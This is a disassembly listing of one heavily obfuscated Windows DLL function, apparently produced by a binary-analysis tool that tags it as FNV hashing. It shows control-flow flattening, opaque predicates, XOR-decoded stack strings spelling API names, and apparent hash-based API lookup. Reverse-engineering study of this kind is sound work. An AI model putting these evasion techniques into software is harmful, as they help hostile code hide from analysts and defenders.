Function at 0x180071e30
Capabilities:
Hash data using fnv

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x10d8
call fcn.1800fab80
sub rsp, rax
mov qword [rsp + 0xa0], rcx
mov rax, qword [0x180128a08]
xor rax, rsp
mov qword [rsp + 0x10d0], rax
movabs r14, 0xcbf29ce484222325
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x88]
mov r8d, 0x800
xor edx, edx
call fcn.1800fcb10
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov eax, 0x262eb6cc
mov r15d, 0x1dd0b01
mov r12d, 0x5cca55f5
mov r13d, 0xfb306983
jmp 0x180071ee0
mov rcx, qword [rsp + 0x78]
call fcn.180003610
mov eax, 0x71a070e8
nop word [rax + rax]
cmp eax, 0x262eb6cb
jle 0x180071f30
cmp eax, 0x3d00664e
jle 0x180071f60
cmp eax, 0x3d00664f
je 0x180071ecb
cmp eax, 0x41e4402e
je 0x180071fbb
cmp eax, 0x71a070e8
jne 0x180071ee0
mov rcx, qword [rsp + 0x78]
call fcn.180003610
mov eax, dword [0x180129680]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3d00664f
mov ecx, 0x42830a1
jmp 0x1800722a3
cmp eax, 0x42830a0
jle 0x180071f90
cmp eax, 0x42830a1
je 0x180072238
cmp eax, 0xa4cd8d1
jne 0x1800741d8
mov rcx, qword [rsp + 0x78]
call fcn.180003610
mov eax, 0xd7f31b02
jmp 0x180071ee0
cmp eax, 0x262eb6cc
je 0x180072242
cmp eax, 0x2af6948c
jne 0x180071ee0
mov eax, 0xd5aaafe
mov dword [rsp + 0x84], 0
jmp 0x180071ee0
cmp eax, 0x943853e9
je 0x18007228a
cmp eax, 0xd7f31b02
jne 0x180071ee0
mov eax, 0xd5aaafe
mov dword [rsp + 0x84], 1
jmp 0x180071ee0
lea rdi, [rsp + 0xb8]
mov qword [rsp + 0x28], rdi
mov rax, qword [rsp + 0x28]
mov byte [rax], 0x6e
mov rsi, qword [rsp + 0x28]
mov rcx, rdi
mov dl, 0x47
xor r8d, r8d
call fcn.1800983b0
mov byte [rsi + 1], al
mov r8d, 1
mov rcx, rdi
mov dl, 0x65
call fcn.1800983b0
mov byte [rsi + 2], al
mov r8d, 2
mov rcx, rdi
mov dl, 0x74
call fcn.1800983b0
mov byte [rsi + 3], al
mov r8d, 3
mov rcx, rdi
mov dl, 0x54
call fcn.1800983b0
mov byte [rsi + 4], al
mov r8d, 4
mov rcx, rdi
mov dl, 0x65
call fcn.1800983b0
mov byte [rsi + 5], al
mov r8d, 5
mov rcx, rdi
mov dl, 0x6d
call fcn.1800983b0
mov byte [rsi + 6], al
mov r8d, 6
mov rcx, rdi
mov dl, 0x70
call fcn.1800983b0
mov byte [rsi + 7], al
mov r8d, 7
mov rcx, rdi
mov dl, 0x46
call fcn.1800983b0
mov byte [rsi + 8], al
add rsi, 9
mov qword [rsp + 0x60], rsi
mov r8d, 8
mov rcx, rdi
mov dl, 0x69
call fcn.1800983b0
mov byte [rsp + 0x40], al
mov eax, 0x3fb9adbd
nop dword [rax]
cmp eax, 0x3fb9adbc
jle 0x1800720d0
cmp eax, 0x469af963
jle 0x1800720f0
cmp eax, 0x469af964
je 0x1800722b5
cmp eax, 0x753eeb8c
jne 0x180072090
mov eax, dword [0x180129c54]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5eb4434
mov ecx, 0x469af964
jmp 0x18007211b
cmp eax, 0xead433a0
je 0x18007212d
cmp eax, 0xfaf0fb9f
je 0x18007214b
cmp eax, 0x5eb4434
jne 0x180072090
mov eax, 0x753eeb8c
jmp 0x180072090
cmp eax, 0x3fb9adbd
je 0x18007218e
cmp eax, 0x454b6d11
jne 0x180072090
mov eax, dword [0x180129c54]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5eb4434
mov ecx, 0x753eeb8c
cmove eax, ecx
cmp dword [0x180129c58], 0xa
cmovl eax, ecx
jmp 0x180072090
mov byte [rsi], 0
add rsi, 1
cmp rsi, qword [rsp + 0x30]
mov eax, 0xead433a0
mov ecx, 0x454b6d11
cmove eax, ecx
jmp 0x180072090
mov rax, qword [rsp + 0x50]
movzx edx, byte [rax]
mov r8d, 0xf
lea rcx, [rsp + 0xb8]
call fcn.1800983b0
mov rcx, qword [rsp + 0x38]
mov byte [rcx], al
mov rsi, qword [rsp + 0x38]
add rsi, 1
mov rax, qword [rsp + 0x28]
add rax, 0x12
mov qword [rsp + 0x30], rax
mov eax, 0xead433a0
jmp 0x180072090
mov rax, qword [rsp + 0x60]
movzx ecx, byte [rsp + 0x40]
mov byte [rax], cl
mov rdi, qword [rsp + 0x60]
mov r8d, 9
lea rbx, [rsp + 0xb8]
mov rcx, rbx
mov dl, 0x6c
call fcn.1800983b0
mov byte [rdi + 1], al
mov r8d, 0xa
mov rcx, rbx
mov dl, 0x65
call fcn.1800983b0
mov byte [rdi + 2], al
mov r8d, reloc.WS2_32.dll_inet_addr
mov rcx, rbx
mov dl, 0x4e
call fcn.1800983b0
mov byte [rdi + 3], al
mov r8d, 0xc
mov rcx, rbx
mov dl, 0x61
call fcn.1800983b0
mov byte [rdi + 4], al
mov r8d, 0xd
mov rcx, rbx
mov dl, 0x6d
call fcn.1800983b0
mov byte [rdi + 5], al
mov r8d, 0xe
mov rcx, rbx
mov dl, 0x65
call fcn.1800983b0
mov byte [rdi + 6], al
add rdi, 7
mov qword [rsp + 0x38], rdi
lea rax, [0x18011fae9]
mov qword [rsp + 0x50], rax
mov eax, 0xfaf0fb9f
jmp 0x180072090
mov eax, 0x2af6948c
jmp 0x180071ee0
mov rcx, qword [rsp + 0x90]
mov r8d, 0x800
xor edx, edx
call fcn.1800fcb10
mov dword [rsp + 0x50], 0x47
mov eax, 0xd5eaf3f1
nop word cs:[rax + rax]
nop
cmp eax, 0xd5eaf3f1
je 0x180072283
cmp eax, 0x193628f7
jne 0x180072270
jmp 0x180072917
mov eax, 0x193628f7
jmp 0x180072270
mov eax, dword [0x180129680]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3d00664f
mov ecx, 0x71a070e8
cmove eax, ecx
cmp dword [0x180129684], 0xa
cmovl eax, ecx
jmp 0x180071ee0
lea rcx, [rsp + 0xb8]
call fcn.180093290
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov ecx, 0x28ad3f39
movabs r10, 0x100000001b3
mov r11d, 0x87cbc1a8
jmp 0x180072350
mov ecx, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
mov ecx, 0x181b9de8
nop word cs:[rax + rax]
nop
cmp ecx, 0xfe90a09b
jle 0x1800723c0
cmp ecx, 0x333d8297
jle 0x180072410
cmp ecx, 0x5cca55f4
jg 0x18007248a
cmp ecx, 0x333d8298
je 0x180072544
cmp ecx, 0x33ec62ab
je 0x180072557
cmp ecx, 0x42d422e5
jne 0x180072350
mov dword [rsp + 0x40], esi
mov ecx, dword [rsp + 0x40]
movsx ecx, byte [rax + rcx]
mov dword [rsp + 0x70], ecx
mov ecx, dword [rsp + 0x70]
cmp ecx, 0x20
mov ecx, 0xbb6ed30e
cmovge ecx, r13d
jmp 0x180072350
cmp ecx, 0xc5fd57a7
jle 0x180072450
cmp ecx, 0xeb000b68
jg 0x1800724ba
cmp ecx, 0xc5fd57a8
je 0x180072565
cmp ecx, 0xd1e81d16
je 0x180072571
cmp ecx, 0xd597d4ff
jne 0x180072350
mov ecx, 0x42d422e5
mov esi, dword [rsp + 0x74]
jmp 0x180072350
cmp ecx, 0x12a1b9d7
jle 0x1800724e8
cmp ecx, 0x12a1b9d8
je 0x180072588
cmp ecx, 0x181b9de8
je 0x180072597
cmp ecx, 0x28ad3f39
jne 0x180072350
mov ecx, 0x73f80f82
jmp 0x180072350
cmp ecx, 0xb163ad29
jle 0x180072516
cmp ecx, 0xb163ad2a
je 0x1800725c0
cmp ecx, 0xb9d33223
je 0x1800725e1
cmp ecx, 0xbb6ed30e
jne 0x180072350
mov ecx, 0x12a1b9d8
jmp 0x180072350
cmp ecx, 0x5cca55f5
je 0x1800725ef
cmp ecx, 0x7343bfbc
je 0x180072315
cmp ecx, 0x73f80f82
jne 0x180072350
mov ecx, 0x42d422e5
xor esi, esi
jmp 0x180072350
cmp ecx, 0xeb000b69
je 0x180072604
cmp ecx, 0xfb306983
jne 0x180072669
mov ecx, dword [rsp + 0x70]
cmp ecx, 0x7f
setl byte [rsp + 0x4e]
mov ecx, 0x333d8298
jmp 0x180072350
cmp ecx, 0xfe90a09c
je 0x180072625
cmp ecx, 0x1dd0b01
jne 0x180072350
mov ecx, dword [rsp + 0x5c]
cmp ecx, 0x5b
setl byte [rsp + 0x4f]
mov ecx, 0xd1e81d16
jmp 0x180072350
cmp ecx, 0x87cbc1a8
je 0x180072653
cmp ecx, 0x9302de66
jne 0x180072350
mov rbp, qword [rsp + 0x50]
mov ecx, 0xb163ad2a
mov edi, dword [rsp + 0xb0]
jmp 0x180072350
cmp byte [rsp + 0x4e], 0
mov ecx, 0xbb6ed30e
cmovne ecx, r12d
jmp 0x180072350
mov ecx, 0xc5fd57a8
mov ebx, dword [rsp + 0x6c]
jmp 0x180072350
mov dword [rsp + 0x60], ebx
mov ecx, r9d
jmp 0x180072350
cmp byte [rsp + 0x4f], 0
mov ecx, 0xb9d33223
mov edx, 0xfe90a09c
cmovne ecx, edx
jmp 0x180072350
mov ecx, 0xb163ad2a
xor edi, edi
mov rbp, r14
jmp 0x180072350
movsxd rcx, dword [rsp + 0x60]
xor rcx, qword [rsp + 0x30]
imul rcx, r10
mov qword [rsp + 0x50], rcx
mov ecx, dword [rsp + 0x28]
add ecx, 1
mov dword [rsp + 0xb0], ecx
mov ecx, r8d
jmp 0x180072350
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x30], rbp
mov ecx, dword [rsp + 0x40]
mov edx, dword [rsp + 0x28]
cmp edx, ecx
mov ecx, 0xf6d6bd87
cmovb ecx, r11d
jmp 0x180072350
mov ecx, 0xc5fd57a8
mov ebx, dword [rsp + 0x5c]
jmp 0x180072350
mov ecx, dword [rsp + 0x40]
add ecx, 1
mov dword [rsp + 0x74], ecx
mov ecx, 0xd597d4ff
jmp 0x180072350
mov rcx, qword [rsp + 0x38]
movsx ecx, byte [rcx]
mov dword [rsp + 0x5c], ecx
mov ecx, dword [rsp + 0x5c]
cmp ecx, 0x41
mov ecx, 0xb9d33223
cmovge ecx, r15d
jmp 0x180072350
mov ecx, dword [rsp + 0x5c]
mov edx, ecx
and edx, 0x72963832
or edx, 0x8d414380
and ecx, 0x8d69c7ed
xor ecx, edx
xor ecx, 0x8d4143a0
mov dword [rsp + 0x6c], ecx
mov ecx, 0x33ec62ab
jmp 0x180072350
mov ecx, dword [rsp + 0x28]
add rcx, rax
mov qword [rsp + 0x38], rcx
mov ecx, 0xeb000b69
jmp 0x180072350
cmp ecx, 0xf6d6bd87
jne 0x180072350
mov rcx, qword [rsp + 0x30]
call fcn.1800e9be0
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x78], rax
lea rdi, [rsp + 0xb0]
mov qword [rsp + 0x40], rdi
mov rax, qword [rsp + 0x40]
mov word [rax], 0x6fd8
mov ecx, 0xb6126b86
mov ebp, 0xe9fffd50
nop word cs:[rax + rax]
nop
cmp ecx, 0xc93657e2
jle 0x180072720
cmp ecx, 0x5d350654
jle 0x180072780
cmp ecx, 0x5d350655
je 0x180072976
cmp ecx, 0x69cf591e
jne 0x1800726c0
mov rax, qword [rsp + 0x28]
movzx ecx, word [rsp + 0x5c]
mov word [rax], cx
mov rax, qword [rsp + 0x28]
mov ecx, 0xffc9bdf6
nop
cmp ecx, 0xffc9bdf6
je 0x180072715
cmp ecx, 0x40c2d86e
jne 0x180072700
jmp 0x1800727b6
mov ecx, 0x40c2d86e
jmp 0x180072700
cmp ecx, 0x958deb37
je 0x1800727ef
cmp ecx, 0xa8746326
je 0x180072844
cmp ecx, 0xb6126b86
jne 0x1800726c0
mov rcx, qword [rsp + 0x40]
add rcx, 2
mov qword [rsp + 0x28], rcx
mov ecx, 0xffc9bdf6
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xffc9bdf6
je 0x180072775
cmp ecx, 0x40c2d86e
jne 0x180072760
jmp 0x180072860
mov ecx, 0x40c2d86e
jmp 0x180072760
cmp ecx, 0xc93657e3
je 0x18007289b
cmp ecx, 0xe0c968c9
jne 0x1800726c0
mov rcx, qword [rsp + 0x50]
mov word [rcx], 0
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
mov ecx, 0x958deb37
jmp 0x1800726c0
mov qword [rsp + 0x30], rdi
mov rcx, qword [rsp + 0x30]
movzx ecx, word [rcx]
xor ecx, 0x47
mov dword [rsp + 0x30], ecx
mov edx, 0xac8d911
nop
cmp edx, 0xb1d2fc7e
je 0x1800728d4
cmp edx, 0xac8d911
jne 0x1800727d0
mov ecx, dword [rsp + 0x30]
mov edx, 0xb1d2fc7e
jmp 0x1800727d0
mov rcx, qword [rsp + 0x50]
mov word [rcx], 0
mov rcx, qword [rsp + 0x50]
add rcx, 2
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x38]
cmp rdx, rcx
sete byte [rsp + 0x74]
mov ecx, dword [0x180129c60]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xe0c968c9
mov edx, 0xa8746326
cmove ecx, edx
cmp dword [0x180129c64], 0xa
cmovl ecx, edx
jmp 0x1800726c0
cmp byte [rsp + 0x74], 0
mov ecx, 0xc93657e3
mov eax, 0x5d350655
cmovne ecx, eax
mov rax, qword [rsp + 0x38]
jmp 0x1800726c0
mov qword [rsp + 0x30], rdi
mov rcx, qword [rsp + 0x30]
movzx ecx, word [rcx]
xor ecx, 0x4a
mov dword [rsp + 0x30], ecx
mov edx, 0xac8d911
nop dword [rax]
cmp edx, 0xb1d2fc7e
je 0x1800728fe
cmp edx, 0xac8d911
jne 0x180072880
mov ecx, dword [rsp + 0x30]
mov edx, 0xb1d2fc7e
jmp 0x180072880
mov ecx, dword [0x180129c60]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
cmp dword [0x180129c64], 0xa
mov qword [rsp + 0x50], rax
setl bl
xor dl, bl
and cl, bl
xor cl, dl
mov ecx, 0x958deb37
mov edx, 0xe0c968c9
cmovne ecx, edx
jmp 0x1800726c0
mov word [rsp + 0x6c], cx
movzx ecx, word [rsp + 0x6c]
mov word [rax + 2], cx
add rax, 4
mov rcx, qword [rsp + 0x40]
add rcx, 8
mov qword [rsp + 0x60], rcx
mov ecx, 0xc93657e3
jmp 0x1800726c0
mov word [rsp + 0x6c], cx
movzx ecx, word [rsp + 0x6c]
mov word [rsp + 0x5c], cx
mov ecx, 0x69cf591e
jmp 0x1800726c0
mov dword [rsp + 0x30], reloc.WS2_32.dll_inet_addr
movsxd rax, dword [rsp + 0x30]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rsp + 0x38], al
mov ecx, 0x9f724e64
nop dword [rax]
cmp ecx, 0x275387f4
je 0x180072b69
cmp ecx, 0x9f724e64
jne 0x180072950
movzx ecx, byte [rsp + 0x38]
mov eax, dword [rsp + 0x50]
add al, cl
mov ecx, 0x275387f4
jmp 0x180072950
mov eax, 0xa258b64c
jmp 0x1800729a0
mov rax, qword [rsp + 0x50]
movzx ecx, word [rsp + 0x40]
mov word [rax], cx
mov eax, 0x9d190c2f
mov rsi, qword [rsp + 0x38]
nop word cs:[rax + rax]
nop
cmp eax, 0xe9fffd4f
jg 0x1800729e0
cmp eax, 0xc3cd98d9
jle 0x180072a10
cmp eax, 0xc8e0c6a3
je 0x18007297d
cmp eax, 0xdda71e1b
jne 0x180072ab1
mov rax, qword [rsp + 0x28]
add rax, 6
mov qword [rsp + 0x60], rax
mov eax, 0xc3cd98da
jmp 0x1800729a0
cmp eax, 0x7c619c4c
jg 0x180072a30
cmp eax, 0xe9fffd50
je 0x180072a51
cmp eax, 0x2905459
jne 0x1800729a0
movzx edx, word [rsp + 0x6c]
mov rcx, rdi
call fcn.18009ada0
mov word [rsp + 0x40], ax
mov eax, 0xc8e0c6a3
jmp 0x1800729a0
cmp eax, 0x9d190c2f
je 0x180072a8a
cmp eax, 0xa258b64c
jne 0x1800729a0
mov eax, 0x7c619c4d
jmp 0x1800729a0
cmp eax, 0x7c619c4d
je 0x180072aa5
cmp eax, 0x7e2916c8
jne 0x1800729a0
mov qword [rsp + 0x28], rdi
mov eax, 0xdda71e1b
jmp 0x1800729a0
mov rax, qword [rsp + 0x30]
add rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
lea rax, [rsp + rax*2]
add rax, 0xb0
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x6c], ax
mov eax, 0x2905459
jmp 0x1800729a0
mov qword [rsp + 0x30], rsi
mov rax, qword [rsp + 0x30]
cmp rax, 2
mov eax, 0x7e2916c8
cmovb eax, ebp
jmp 0x1800729a0
mov eax, 0x9d190c2f
xor esi, esi
jmp 0x1800729a0
cmp eax, 0xc3cd98da
jne 0x1800729a0
mov rax, qword [rsp + 0x60]
mov word [rax], 0
mov rdx, qword [rsp + 0x28]
add rdx, 2
mov rcx, qword [rsp + 0x98]
mov r9, qword [rsp + 0x78]
xor r8d, r8d
call qword [rsp + 0xa8]
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov byte [rax], 0x2a
mov rax, qword [rsp + 0x60]
mov dword [rsp + 0x50], 0x44
mov ebp, 0x4e180d25
mov cl, byte [rsp + 0xb8]
nop word cs:[rax + rax]
nop
cmp ebp, 0xdf13b7e7
je 0x180072baa
cmp ebp, 0x4e180d25
jne 0x180072b20
mov edx, 0x613fd229
nop dword [rax]
cmp edx, 0x613fd229
je 0x180072b52
cmp edx, 0x35b0b693
jne 0x180072b40
jmp 0x180072b59
mov edx, 0x35b0b693
jmp 0x180072b40
mov byte [rsp + 0x30], cl
movsx edx, byte [rsp + 0x30]
mov ebp, 0xdf13b7e7
jmp 0x180072b20
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x30]
mov byte [rsp + 0xb8], al
mov dword [rsp + 0x50], 0x65
mov eax, 0xd5eaf3f1
nop word cs:[rax + rax]
nop
cmp eax, 0xd5eaf3f1
je 0x180072ba3
cmp eax, 0x193628f7
jne 0x180072b90
jmp 0x180073344
mov eax, 0x193628f7
jmp 0x180072b90
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x50]
xor ecx, dword [rsp + 0x30]
mov byte [rax + 1], cl
add rax, 2
mov qword [rsp + 0x38], rax
mov byte [rsp + 0xb0], 0x65
mov ecx, 0x1d8f4f4d
nop
cmp ecx, 0xdbda756d
jle 0x180072c70
cmp ecx, 0x1d8f4f4c
jg 0x180072ca0
cmp ecx, 0xdbda756e
je 0x180072ce3
cmp ecx, 0xfd347afa
jne 0x180072bd0
movsx ecx, byte [rsp + 0xb0]
mov dword [rsp + 0x40], ecx
mov ebp, 0x4e180d25
mov cl, byte [rsp + 0xb8]
nop word cs:[rax + rax]
nop
cmp ebp, 0xdf13b7e7
je 0x180072d01
cmp ebp, 0x4e180d25
jne 0x180072c20
mov edx, 0x613fd229
nop dword [rax]
cmp edx, 0x613fd229
je 0x180072c52
cmp edx, 0x35b0b693
jne 0x180072c40
jmp 0x180072c59
mov edx, 0x35b0b693
jmp 0x180072c40
mov byte [rsp + 0x28], cl
movsx edx, byte [rsp + 0x28]
mov ebp, 0xdf13b7e7
jmp 0x180072c20
cmp ecx, 0x94429574
je 0x180072d79
cmp ecx, 0x957e162f
je 0x180072d83
cmp ecx, 0xc6932e0a
jne 0x180072bd0
jmp 0x1800733a6
cmp ecx, 0x46c22710
je 0x180072de9
cmp ecx, 0x1d8f4f4d
jne 0x180072bd0
mov ecx, dword [0x180129c68]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x46c22710
mov edx, 0xfd347afa
cmove ecx, edx
cmp dword [0x180129c6c], 0xa
cmovl ecx, edx
jmp 0x180072bd0
mov byte [rax], 0
add rax, 1
cmp rax, qword [rsp + 0x30]
mov ecx, 0xdbda756e
mov edx, 0xc6932e0a
cmove ecx, edx
jmp 0x180072bd0
mov dword [rsp + 0x28], edx
mov ecx, dword [rsp + 0x40]
xor ecx, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x38]
mov byte [rdx], cl
mov rdx, qword [rsp + 0x38]
mov dword [rsp + 0x40], WSAStartup
mov ebx, 0x4e180d25
mov cl, byte [rsp + 0xb8]
nop dword [rax]
cmp ebx, 0xdf13b7e7
je 0x180072e59
cmp ebx, 0x4e180d25
jne 0x180072d30
mov ebp, 0x613fd229
nop dword [rax]
cmp ebp, 0x613fd229
je 0x180072d62
cmp ebp, 0x35b0b693
jne 0x180072d50
jmp 0x180072d69
mov ebp, 0x35b0b693
jmp 0x180072d50
mov byte [rsp + 0x28], cl
movsx ebp, byte [rsp + 0x28]
mov ebx, 0xdf13b7e7
jmp 0x180072d30
mov ecx, 0x957e162f
jmp 0x180072bd0
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x40], 0x65
mov ebp, 0x4e180d25
mov cl, byte [rsp + 0xb8]
nop dword [rax]
cmp ebp, 0xdf13b7e7
je 0x180072ec9
cmp ebp, 0x4e180d25
jne 0x180072da0
mov edx, 0x613fd229
nop dword [rax]
cmp edx, 0x613fd229
je 0x180072dd2
cmp edx, 0x35b0b693
jne 0x180072dc0
jmp 0x180072dd9
mov edx, 0x35b0b693
jmp 0x180072dc0
mov byte [rsp + 0x28], cl
movsx edx, byte [rsp + 0x28]
mov ebp, 0xdf13b7e7
jmp 0x180072da0
movsx ecx, byte [rsp + 0xb0]
mov dword [rsp + 0x40], ecx
mov ebp, 0x4e180d25
mov cl, byte [rsp + 0xb8]
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebp, 0xdf13b7e7
je 0x180072f39
cmp ebp, 0x4e180d25
jne 0x180072e10
mov edx, 0x613fd229
nop dword [rax]
cmp edx, 0x613fd229
je 0x180072e42
cmp edx, 0x35b0b693
jne 0x180072e30
jmp 0x180072e49
mov edx, 0x35b0b693
jmp 0x180072e30
mov byte [rsp + 0x28], cl
movsx edx, byte [rsp + 0x28]
mov ebp, 0xdf13b7e7
jmp 0x180072e10
mov dword [rsp + 0x28], ebp
mov ebp, dword [rsp + 0x40]
xor ebp, dword [rsp + 0x28]
mov byte [rdx + 1], bpl
mov dword [rsp + 0x40], 0x65
mov ebx, 0x4e180d25
nop word cs:[rax + rax]
cmp ebx, 0xdf13b7e7
je 0x180072fb9
cmp ebx, 0x4e180d25
jne 0x180072e80
mov ebp, 0x613fd229
nop dword [rax]
cmp ebp, 0x613fd229
je 0x180072eb2
cmp ebp, 0x35b0b693
jne 0x180072ea0
jmp 0x180072eb9
mov ebp, 0x35b0b693
jmp 0x180072ea0
mov byte [rsp + 0x28], cl
movsx ebp, byte [rsp + 0x28]
mov ebx, 0xdf13b7e7
jmp 0x180072e80
mov dword [rsp + 0x28], edx
mov edx, dword [rsp + 0x40]
xor edx, dword [rsp + 0x28]
mov byte [rax + 1], dl
mov dword [rsp + 0x40], 0x46
mov ebp, 0x4e180d25
nop word cs:[rax + rax]
nop
cmp ebp, 0xdf13b7e7
je 0x180073029
cmp ebp, 0x4e180d25
jne 0x180072ef0
mov edx, 0x613fd229
nop dword [rax]
cmp edx, 0x613fd229
je 0x180072f22
cmp edx, 0x35b0b693
jne 0x180072f10
jmp 0x180072f29
mov edx, 0x35b0b693
jmp 0x180072f10
mov byte [rsp + 0x28], cl
movsx edx, byte [rsp + 0x28]
mov ebp, 0xdf13b7e7
jmp 0x180072ef0
mov dword [rsp + 0x28], edx
mov ecx, dword [rsp + 0x40]
xor ecx, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x38]
mov byte [rdx], cl
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0x40], WSAStartup
mov ebx, 0x4e180d25
mov dl, byte [rsp + 0xb8]
nop word cs:[rax + rax]
nop
cmp ebx, 0xdf13b7e7
je 0x180073099
cmp ebx, 0x4e180d25
jne 0x180072f70
mov ebp, 0x613fd229
nop dword [rax]
cmp ebp, 0x613fd229
je 0x180072fa2
cmp ebp, 0x35b0b693
jne 0x180072f90
jmp 0x180072fa9
mov ebp, 0x35b0b693
jmp 0x180072f90
mov byte [rsp + 0x28], dl
movsx ebp, byte [rsp + 0x28]
mov ebx, 0xdf13b7e7
jmp 0x180072f70
mov dword [rsp + 0x28], ebp
mov ebp, dword [rsp + 0x40]
xor ebp, dword [rsp + 0x28]
mov byte [rdx + 2], bpl
add rdx, 3
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x40], 0x74
mov ebp, 0x4e180d25
nop
cmp ebp, 0xdf13b7e7
je 0x180073109
cmp ebp, 0x4e180d25
jne 0x180072fe0
mov edx, 0x613fd229
nop dword [rax]
cmp edx, 0x613fd229
je 0x180073012
cmp edx, 0x35b0b693
jne 0x180073000
jmp 0x180073019
mov edx, 0x35b0b693
jmp 0x180073000
mov byte [rsp + 0x28], cl
movsx edx, byte [rsp + 0x28]
mov ebp, 0xdf13b7e7
jmp 0x180072fe0
mov dword [rsp + 0x28], edx
mov edx, dword [rsp + 0x40]
xor edx, dword [rsp + 0x28]
mov byte [rax + 2], dl
mov dword [rsp + 0x40], 0x69
mov ebp, 0x4e180d25
nop word cs:[rax + rax]
nop
cmp ebp, 0xdf13b7e7
je 0x18007314c
cmp ebp, 0x4e180d25
jne 0x180073050
mov edx, 0x613fd229
nop dword [rax]
cmp edx, 0x613fd229
je 0x180073082
cmp edx, 0x35b0b693
jne 0x180073070
jmp 0x180073089
mov edx, 0x35b0b693
jmp 0x180073070
mov byte [rsp + 0x28], cl
movsx edx, byte [rsp + 0x28]
mov ebp, 0xdf13b7e7
jmp 0x180073050
mov dword [rsp + 0x28], ebp
mov ebp, dword [rsp + 0x40]
xor ebp, dword [rsp + 0x28]
mov byte [rcx + 1], bpl
mov dword [rsp + 0x40], 0x65
mov ebx, 0x4e180d25
nop word cs:[rax + rax]
cmp ebx, 0xdf13b7e7
je 0x1800731b9
cmp ebx, 0x4e180d25
jne 0x1800730c0
mov ebp, 0x613fd229
nop dword [rax]
cmp ebp, 0x613fd229
je 0x1800730f2
cmp ebp, 0x35b0b693
jne 0x1800730e0
jmp 0x1800730f9
mov ebp, 0x35b0b693
jmp 0x1800730e0
mov byte [rsp + 0x28], dl
movsx ebp, byte [rsp + 0x28]
mov ebx, 0xdf13b7e7
jmp 0x1800730c0
mov dword [rsp + 0x28], edx
mov ecx, dword [rsp + 0x40]
xor ecx, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x50]
mov byte [rdx], cl
mov ecx, dword [0x180129c68]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x94429574
mov edx, 0x46c22710
cmovne ecx, edx
cmp dword [0x180129c6c], 0xa
mov edx, 0x94429574
cmovl ecx, edx
jmp 0x180072bd0
mov dword [rsp + 0x28], edx
mov edx, dword [rsp + 0x40]
xor edx, dword [rsp + 0x28]
mov byte [rax + 3], dl
mov dword [rsp + 0x40], WSAStartup
mov ebp, 0x4e180d25
nop dword [rax + rax]
cmp ebp, 0xdf13b7e7
je 0x180073229
cmp ebp, 0x4e180d25
jne 0x180073170
mov edx, 0x613fd229
nop dword [rax]
cmp edx, 0x613fd229
je 0x1800731a2
cmp edx, 0x35b0b693
jne 0x180073190
jmp 0x1800731a9
mov edx, 0x35b0b693
jmp 0x180073190
mov byte [rsp + 0x28], cl
movsx edx, byte [rsp + 0x28]
mov ebp, 0xdf13b7e7
jmp 0x180073170
mov dword [rsp + 0x28], ebp
mov ebp, dword [rsp + 0x40]
xor ebp, dword [rsp + 0x28]
mov byte [rcx + 2], bpl
mov dword [rsp + 0x40], 0x74
mov ebx, 0x4e180d25
nop word cs:[rax + rax]
cmp ebx, 0xdf13b7e7
je 0x180073299
cmp ebx, 0x4e180d25
jne 0x1800731e0
mov ebp, 0x613fd229
nop dword [rax]
cmp ebp, 0x613fd229
je 0x180073212
cmp ebp, 0x35b0b693
jne 0x180073200
jmp 0x180073219
mov ebp, 0x35b0b693
jmp 0x180073200
mov byte [rsp + 0x28], dl
movsx ebp, byte [rsp + 0x28]
mov ebx, 0xdf13b7e7
jmp 0x1800731e0
mov dword [rsp + 0x28], edx
mov edx, dword [rsp + 0x40]
xor edx, dword [rsp + 0x28]
mov byte [rax + 4], dl
mov dword [rsp + 0x40], 0x65
mov ebp, 0x4e180d25
nop word cs:[rax + rax]
nop
